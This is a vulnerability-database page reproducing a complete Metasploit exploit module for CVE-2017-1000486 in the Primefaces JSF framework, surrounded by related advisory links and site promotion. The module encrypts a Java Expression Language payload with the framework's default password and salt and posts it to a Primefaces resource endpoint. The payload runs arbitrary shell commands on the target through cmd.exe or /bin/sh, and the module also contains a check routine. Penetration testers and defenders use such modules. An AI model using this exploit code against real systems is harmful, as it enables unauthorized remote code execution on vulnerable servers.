Lucene search
K

Primefaces Remote Code Execution Exploit

🗓️ 07 Dec 2024 18:54:24Reported by Bjoern Schuette, h00dieType 
metasploit
 metasploit
🔗 www.rapid7.com👁 1209 Views

Exploits Java Expression Language flaw in Primefaces framework, affecting versions before 5.2.21.

Related
Code
ReporterTitlePublishedViews
Family
zdt
Primefaces 5.x - Remote Code Execution Exploit
18 Jan 201800:00
zdt
attackerkb
CVE-2017-1000486
3 Jan 201800:00
attackerkb
circl
CVE-2017-1000486
14 Jun 202321:10
circl
cisa_kev
Primetek Primefaces Remote Code Execution Vulnerability
10 Jan 202200:00
cisa_kev
cisa
CISA Adds 15 Known Exploited Vulnerabilities to Catalog
10 Jan 202200:00
cisa
cnvd
Primetek Primefaces Remote Code Execution Vulnerability
4 Jan 201800:00
cnvd
checkpoint_advisories
Primetek Primefaces Weak Encryption Remote Code Execution (CVE-2017-1000486)
28 Oct 201800:00
checkpoint_advisories
cve
CVE-2017-1000486
3 Jan 201820:00
cve
cvelist
CVE-2017-1000486
3 Jan 201820:00
cvelist
exploitdb
Primefaces 5.x - Remote Code Execution (Metasploit)
18 Jan 201800:00
exploitdb
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Primefaces Remote Code Execution Exploit',
        'Description' => %q{
          This module exploits a Java Expression Language remote code execution flaw in the Primefaces JSF framework.
          Primefaces versions prior to 5.2.21, 5.3.8 or 6.0 are vulnerable to a padding oracle attack,
          due to the use of weak crypto and default encryption password and salt.

          Tested against Docker image with Tomcat 7.0 with the Primefaces 5.2 showcase application. See
          documentation for working payloads.
        },
        'Author' => [
          'Bjoern Schuette', # EDB
          'h00die' # lots of fixes, documentation, standardization
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2017-1000486'],
          ['URL', 'https://blog.mindedsecurity.com/2016/02/rce-in-oracle-netbeans-opensource.html'],
          ['URL', 'https://web.archive.org/web/20180515174733/https://cryptosense.com/blog/weak-encryption-flaw-in-primefaces'],
          ['URL', 'https://schuette.se/2018/01/17/cve-2017-1000486-in-your-primeface/'],
          ['URL', 'https://github.com/primefaces/primefaces/issues/1152'],
          ['URL', 'https://github.com/pimps/CVE-2017-1000486/tree/master'],
          ['EDB', '43733']
        ],
        'Payload' => {
          'BadChars' => '"\'\\' # all threw errors
        },
        'Privileged' => true,
        'DisclosureDate' => '2016-02-15',
        'Platform' => ['unix', 'bsd', 'linux', 'osx', 'win'],
        'Arch' => ARCH_CMD,
        'Targets' => [
          [
            'Universal', {},
          ],
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => []
        }
      )
    )

    register_options([
      Opt::RPORT(80),
      OptString.new('PASSWORD', [ true, 'The password to login', 'primefaces']),
      OptString.new('TARGETURI', [true, 'The base path to primefaces', '/'])
    ])
  end

  def encrypt_el(password, payload)
    # el == Java Expression Language
    salt = [0xa9, 0x9b, 0xc8, 0x32, 0x56, 0x34, 0xe3, 0x03].pack('c*')
    iteration_count = 19

    cipher = OpenSSL::Cipher.new('DES')
    cipher.encrypt
    cipher.pkcs5_keyivgen password, salt, iteration_count

    ciphertext = cipher.update payload
    ciphertext << cipher.final
    ciphertext
  end

  def http_send_command(payload_wrapper)
    encrypted_payload = encrypt_el(datastore['PASSWORD'], payload_wrapper)
    encrypted_payload = Rex::Text.encode_base64(encrypted_payload)

    # send the payload and execute command
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'javax.faces.resource', 'dynamiccontent.properties.xhtml'),
      'vars_post' => {
        'pfdrt' => 'sc',
        'ln' => 'primefaces',
        'pfdrid' => encrypted_payload
      }
    })

    res
  end

  def exploit
    cmd = payload.encoded

    # good for testing
    # cmd = "whoami"
    # error logs will show
    # Nov 13, 2024 7:10:32 PM org.primefaces.application.resource.StreamedContentHandler handle
    # SEVERE: Error in streaming dynamic resource. Cannot call sendError() after the response has been committed
    payload_wrapper = '${facesContext.getExternalContext().getResponse().setContentType("text/plain;charset=\"UTF-8\"")}'
    payload_wrapper << '${session.setAttribute("scriptfactory","".getClass().forName("javax.script.ScriptEngineManager").newInstance())}'
    payload_wrapper << '${session.setAttribute("scriptengine",session.getAttribute("scriptfactory").getEngineByName("JavaScript"))}'
    payload_wrapper << '${session.getAttribute("scriptengine").getContext().setWriter(facesContext.getExternalContext().getResponse().getWriter())}'
    payload_wrapper << '${session.getAttribute("scriptengine").eval('
    payload_wrapper << '"var os = java.lang.System.getProperty(\"os.name\");'
    payload_wrapper << 'var proc = null;'
    payload_wrapper << 'os.toLowerCase().contains(\"win\")? '
    payload_wrapper << "proc = new java.lang.ProcessBuilder[\\\"(java.lang.String[])\\\"]([\\\"cmd.exe\\\",\\\"/C\\\",\\\"#{cmd}\\\"]).start()"
    payload_wrapper << " : proc = new java.lang.ProcessBuilder[\\\"(java.lang.String[])\\\"]([\\\"/bin/sh\\\",\\\"-c\\\",\\\"#{cmd}\\\"]).start();"
    payload_wrapper << 'var is = proc.getInputStream();'
    payload_wrapper << 'var sc = new java.util.Scanner(is,\"UTF-8\"); var out = \"\";'
    payload_wrapper << 'while(sc.hasNext()) {out += sc.nextLine()+String.fromCharCode(10);}print(out);")}'
    payload_wrapper << '${facesContext.getExternalContext().getResponse().getWriter().flush()}'
    payload_wrapper << '${facesContext.getExternalContext().getResponse().getWriter().close()}'

    vprint_status("Attempting to execute: #{cmd}")
    res = http_send_command(payload_wrapper)
    fail_with(Failure::UnexpectedReply, 'Internal server error. Payload may be incompatible.') if res&.code == 500
    # successful exploitation gives us no response
  end

  def check
    marker = rand_text_alpha_lower(5..9)
    # https://github.com/Pastea/CVE-2017-1000486/blob/main/exploit.py#L135C14-L135C92
    # payload_wrapper = '${facesContext["getExternalContext"]()["setResponseHeader"]("PROVA","123456")}'
    payload_wrapper = "${facesContext[\"getExternalContext\"]()[\"setResponseHeader\"](\"#{marker}\", \"#{marker}\")}"

    res = http_send_command(payload_wrapper)
    return Exploit::CheckCode::Unknown('Unable to determine due to a HTTP connection timeout') if res.nil?
    return Exploit::CheckCode::Vulnerable('Victim evaluates Java Expression Language expressions') if res.headers && res.headers[marker] == marker

    Exploit::CheckCode::Safe('Server does not process Java Expression Language expressions, likely not vulnerable')
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 Jul 2026 19:03Current
9.9High risk
Vulners AI Score9.9
CVSS 27.5
CVSS 3.19.8
EPSS0.94104
SSVC
1209